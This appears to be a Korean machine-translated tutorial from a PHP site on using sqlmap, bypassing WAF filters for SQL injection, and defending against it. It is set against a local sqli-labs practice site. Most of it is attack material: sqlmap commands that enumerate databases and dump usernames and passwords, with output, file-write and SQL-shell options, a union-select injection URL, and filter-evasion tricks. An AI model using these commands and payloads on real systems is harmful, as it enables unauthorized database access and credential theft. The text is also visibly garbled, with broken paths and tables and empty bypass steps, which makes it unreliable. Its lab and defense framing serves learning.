SQLMap 및 SQLi 주입 방어 분석 방법

1부: Sqlmap 사용

1.1 sqlmap 소개

1. SQL 주입에 대한 몇 가지 기본 설명을 언급했지만 수동 주입은 강력한 SQL 주입 도구인 sqlmap을 사용하여 데이터를 얻을 수 있습니다.

2 .sqlmap 소개

(1)#sqlmap은 데이터베이스에 연결된 서버와 SQL 주입 취약점을 자동으로 탐지하고 악용할 수 있는 오픈 소스 침투 테스트 도구입니다. 매우 강력한 탐지 엔진, 다양한 기능을 갖춘 침투 테스터, 데이터베이스 지문 인식 및 대역 외 연결을 통한 명령 실행을 통한 기본 파일 시스템에 대한 액세스 기능을 갖추고 있습니다.

공식 웹사이트: sqlmap.org

(2)#지원되는 데이터베이스:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase 및 SAP MAXDB.

(3)#다중 주입 방법 지원

#UNION 쿼리 SQL 주입(쿼리 주입과 결합 가능)

#오류 기반 SQL 주입(오류 보고 주입)
#부울 기반 블라인드 SQL 주입(부울 주입)
#시간 기반 블라인드 SQL 주입(시간 지연 주입 기반)
#스택 쿼리 SQL 주입(다중 문 쿼리 주입)

1.2 sqlmap 설치 및 환경 구축

1 sqlmap 설치 주요 단계

(1. ) Python 환경 설치 --->sqlmap에는 Python 환경이 필요합니다

python 다운로드 주소: https://www.python.org/downloads/release/python-2715/)

sqlmap은 Python2와 더 잘 호환됩니다. X 버전.( Python의 설치 단계는 바로 다음 단계로 진행할 수 있습니다. 수정해야 할 것은 sqlmap의 설치 경로입니다. 여기서는 C:UsersAdministratorpython으로 변경됩니다. 명령에서 sqlmap 디렉토리에 직접 들어가려면

(2) Python을 중국어 경로로 설치하지 말고 환경변수에 Python을 추가하세요.

(3) sqlmap을 다운로드 후 설치하고, 설치 디렉터리를 C:UsersAdministratorsqlmap으로 수정하세요.

(4) Python 환경 테스트: cmd 명령줄을 입력하고

python을 입력합니다.다음 메시지가 나타나면 설치가 성공한 것입니다.

C:UsersAdministrator>

python
Python 2.7.16 (v2.7.16 :413a49145e, 2019년 3월 4일, 01:37:19) win32의 [MSC v.1500 64비트(AMD64)] 자세한 내용을 보려면 "help", "copyright", "credits" 또는 "license"를 입력하세요.

> ;>> exit();

(5) sqlmap 테스트: cmd 명령줄을 입력하고 sqlmap.py -h를 입력합니다(경로 참고)

C:UsersAdministratorsqlmap>

sqlmap.py -h #도움말 보기 information

1.3 sqlmap 공통 매개변수

#(1) 라이브러리 이름 및 열 이름 가져오기 ,Permissions

• --dbs #모든 데이터베이스 가져오기

• --dbms mysql #데이터베이스 유형 지정

• --users #모든 데이터베이스 사용자(데이터베이스 로컬 사용자 이름)

• --passwords # 데이터베이스 비밀번호 가져오기, (권한이 있는 경우에만 읽을 수 있음)

• --기술 #어떤 주입을 지정할지 지정 사용할 유형

• --current-db #현재 데이터베이스

• -banner # 데이터베이스 식별 가져오기

• -D 데이터베이스_이름 --tables #-D는 데이터를 지정하는 데 사용됩니다. --tables 특정 라이브러리 아래의 테이블을 가져옵니다

• -D 데이터베이스_이름 -T 테이블_이름 --columns #-T는 테이블 이름을 지정합니다. --columns 열 필드 가져오기

• -D 데이터베이스_이름 -T 테이블_이름 -C 컬럼_1,column_2 - -dump

                                                                                                                                                          권한 모든 사용자가 포함된 테이블에 대한 읽기 권한을 사용하면 모든 관리 사용자를 나열할 수 있습니다.
  

• --current-user #데이터를 관리하는 사용자는 대부분의 데이터베이스에서 얻을 수 있습니다.

• --is-dba #현재 사용자가 관리자인지 확인하고 관리자인 경우 True를 반환합니다.

• --privileges #현재 사용자에게 모든 사용자가 포함된 테이블을 읽을 수 있는 권한이 있으면 각 사용자의 권한이 나열될 가능성이 높으며 sqlmap은 누가 데이터베이스의 최고 관리자인지 알려줍니다. -U 매개변수를 사용하여 보려는 사용자의 권한을 지정할 수도 있습니다.

• --proxy #프록시 서버 지정 예: –proxy http://local:8080

• #(2) 접미사 및 접미사 지정:

• #sqlmap은 많은 간섭 문자를 감지할 수 없습니다. 닫을 때 접두사와 접미사를 수동으로 지정할 수 있습니다.

• id=((('1'))) 및 1=1

• #인 사용자에서 *를 선택하세요. - -prefix=PREFIX 페이로드 문자열 접두사 삽입

• #–suffix=SUFFIX 페이로드 문자열 접미사 삽입
  예: sqlmap -u “www.target.com/index.php?id=1” -p id -- 접두사 "'))"
  --접미사 "AND ('1'='1"

#(3) 결과 내보내기:

• sqlmap -u "www.a.com/1.php ? id=1” --file-write=”d:/1.txt”

• --file-dest=”E:/wwwroot/web/one.php”

• --배치 완전 자동

• --start=시작 번호--stop=끝 번호

• --dump 데이터 내보내기

• --dump-all 모든 데이터 내보내기

• --purge-output/ -- purge 캐시 디렉터리 지우기

• --sql-shell SQL 쿼리 분석기와 유사한 sqlshell 리바운드 기본 경로.sqlmap(sqlmap 클릭)

1.4 sqlmap 실제 예

#Less-1--Less65 일반 명령문(이것들은 문장은 가장 일반적으로 사용되는 매개 변수이므로 이해해야 합니다)

#(1) 모든 라이브러리 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1?id =1" --dbs --dbms=mysql --batch

# 분석:

-u 뒤에 url이 있으면 테스트 url을 의미합니다

--dbs는 모든 데이터베이스를 가져오는 것을 의미합니다

-- dbms는 지정된 데이터베이스 유형은 mysql

--batch는 자동으로 가져오는 것을 의미합니다.

-D security --tables는 지정된 데이터베이스의 테이블 이름을 보안으로 가져오는 것을 의미합니다.

-D security -T users --columns는 지정된 데이터베이스의 테이블 이름을 가져오는 것을 의미합니다. 데이터베이스를 보안으로 사용자 테이블의 열 이름

-D security -T users -C 사용자 이름, 비밀번호 --dump # 보안 라이브러리, 사용자 테이블에 있는 사용자 이름 및 비밀번호 필드의 데이터 정보를 가져옵니다. --dump는 results

#결과:
[*] Challenge
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*]performance_schema
[*] security
[*] test

#(2) 현재 라이브러리 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
# 결과:
현재 데이터베이스: ' security'

#(3) 현재 테이블 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1 " -D security --tables -- 배치

#결과:
데이터베이스: security
[4 테이블]
+----------+
| 이메일 |
| 추천자 |
| uagents |
| users |
+-- --------+


#(4) 현재 열 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/ sqli/Less-1?id=1" -D security -T users --columns --batch

#Result:
Database: security
Table: users
[3열]
+------ ----+------ --------+
| 열 유형 |
+----------+------------ -+
| 아이디 | int(3) |
| 사용자 이름 | varchar(20) |
+--------- -----+


# (5) 사용자 테이블에서 사용자 이름과 비밀번호 내용을 가져옵니다. C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D 보안 -T 사용자 -C 사용자 이름, 비밀번호 --dump --batch


#결과:데이터베이스: security
테이블: users
[13개 항목]
+--------- -+---------- --+
| 사용자 이름 |
+----------+------------+
| |
| 안젤리나 | 멍청해 |
| 멍청해 |
| | 관리자 |
| 관리자1 |
| 관리자3 |
| 관리자4 |
--------+

번째 2부: sqli 주입을 위한 WAF 우회

2.1 SQL 주입을 위한 WAF 우회 방법 소개


참고: 다음은 우회 방법의 예일 뿐이며 실제 시나리오는 더 복잡합니다. .여러 가지 우회 방법을 혼합하여 사용할 수 있습니다.

1. SQL 삽입 방법을 알고 나면

#(1) 필터 주석

#(2) Filter and or or

• #(3) Filter select or Union

• #(4) Filter blacklist

• 2. Filtered and/or를 우회하는 방법은 무엇인가요? ) MySQL은 대소문자를 구분하지 않으며 올바르게 실행될 수 있습니다 ===>대문자 및 소문자 변형을 사용하세요

• #(2) mysql은 16진수 또는 URL 인코딩을 지원합니다.

• #(3) 단어를 기호로 대체 ===> 기호 우회 및(&&) 또는(| |)

• # (4) 인라인 주석 및 여러 줄 주석 ===> 주석 추가 a/**/nd 이중 쓰기 우회 oORr

3. 물론 다른 방법도 있습니다. 이러한 필터링 방법을 예로 들어 우회 방법에 대해 이야기하겠습니다.

실제 장면에는 waf 장치가 있으며 실제로 waf는 일부 키워드로 필터링됩니다.

2.2 sql 주입 우회 waf 실험

1. 필터링된 주석 문자(예: 23 이하)

#(1) 주석 문자 필터링 이유: 일반 SQL의 경우 명령문에서 주석 문자는 다음과 같습니다. 설명하는 역할을 합니다. 그러나 SQL 인젝션 취약점을 악용하는 과정에서 주석 문자는 닫는 작은따옴표, 여러 개의 작은따옴표, 큰따옴표, 단일괄호, 다중괄호 역할을 한다.
한 줄 주석: --+ 또는 --space 또는 #
여러 줄 주석: /* 여러 줄 주석 내용*/

#(2) 필터 기능 preg_replace
preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : 정규식 검색 및 바꾸기를 수행합니다.
$pattern: 검색할 패턴으로 문자열 또는 문자열 배열일 수 있습니다.
$replacement: 대체에 사용되는 문자열 또는 문자열 배열입니다.
$subject: 검색하고 바꿀 대상 문자열 또는 문자열 배열입니다.



#(3) 주석 문자 우회:
주석 문자를 사용하여 필터링하면 작은 따옴표 등을 성공적으로 닫을 수 없습니다. 아이디어를 변경하고 또는 '1'='1을 사용하여 작은 따옴표 등을 닫습니다.
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273



2. 필터링 후 우회하는 방법. 통과되었나요?(예: 25개 미만)

(1) 소스 코드 분석: or 또는 and가 비어 있는



(2) 작업 단계



3. 필터링된 공백은 우회하는 방법(예: 26 미만)이어야 합니다.

(1) %0a를 공백으로 사용



4. 선택/결합 필터링을 우회하는 방법(예: 27 미만) )





3부: sqli 주입 방어

3.1 sql 주입 방어 방법

1. 일반적인 보호 조치:

#(1), 오류 프롬프트 끄기: PHP에서 display_errors= 구성 파일 php.ini Off
#(2), 매직 따옴표(addlashes와 동일한 효과): php.ini에서 Magic_quotes_gpc=On인 경우. 제출된 변수의 모든 작은따옴표('), 큰따옴표("), 백슬래시() 및 NUL(NULL 문자)은 자동으로 백슬래시
#(3)을 포함하는 이스케이프 문자로 변환되고 데이터가 처리됩니다. 예를 들어 and/or/union
#(4)과 같은 일반적인 키워드를 필터링하고 데이터베이스에 연결하기 위한 사용자 권한을 제어합니다. 각 라이브러리는 단일 라이브러리에 대한 관리자를 설정하며 루트 권한을 사용하지 않습니다.
#(5), 사전 처리 및 매개변수화(PDO): 단순히 데이터를 "연결"하는 대신 사용자가 전달한 매개변수를 처리하고 부울 값을 반환하여 SQL 주입을 방지합니다.
#(6), 하드웨어 보호 조치(WAF 및 기타 하드웨어)

위 내용은 SQLMap 및 SQLi 주입 방어 분석 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!